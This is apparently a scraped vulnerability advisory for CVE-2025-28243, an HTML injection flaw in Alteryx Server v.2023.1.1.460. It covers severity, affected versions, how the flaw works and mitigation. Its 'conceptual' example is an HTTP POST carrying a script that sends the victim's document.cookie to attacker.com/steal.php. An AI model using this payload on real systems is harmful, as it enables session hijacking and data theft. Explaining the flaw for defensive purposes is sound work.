Overview<\/strong><\/p>\n
In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly. One such vulnerability, identified as CVE-2025-28243, has been discovered in the Alteryx Server v.2023.1.1.460. This vulnerability allows<\/a> HTML injection via a custom script to the pages component, leading to potential system compromise or data leakage. Given the widespread use of Alteryx Server in data<\/a> analytics, this vulnerability has far-reaching implications for organizations that rely on the software for data processing and analytics.<\/p>\n
Vulnerability Summary<\/strong><\/p>\n
CVE ID: CVE-2025-28243
\nSeverity: High (8.0 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n
Affected Products<\/strong><\/p>\n
Product | Affected Versions<\/p>\n
Alteryx Server | v.2023.1.1.460<\/p>\n
How the Exploit Works<\/strong><\/p>\n
The vulnerability stems from the server’s inadequate sanitization of user input<\/a> in the pages component. An attacker can craft an HTML script containing malicious code, which when executed, can lead to HTML injection<\/a>. This can result in unauthorized access<\/a> to sensitive information or even system compromise. The attacker can manipulate the HTML content that is displayed to the user<\/a>, steal session cookies, or redirect the user to malicious web pages.<\/p>\n
Conceptual Example Code<\/strong><\/p>\n
Let’s illustrate how this vulnerability might be exploited using a conceptual HTTP POST request<\/a>. This example is purely illustrative and should not be used for malicious purposes.<\/p>\n
POST \/pages\/script HTTP\/1.1\nHost: target.example.com\nContent-Type: text\/html\n\n\n<script>\ndocument.location='http:\/\/attacker.com\/steal.php?cookie='+document.cookie;\n<\/script>\n<\/body>\n<\/html><\/code><\/pre>\nIn this conceptual example, the attacker crafts an HTML script that redirects the user’s session cookie to a malicious website. If successful, this exploit could lead to unauthorized<\/a> access to sensitive information or even system compromise. \nPlease note that the mitigation guidance for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.<\/p>\n","protected":false},"excerpt":{"rendered":" Overview In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly.
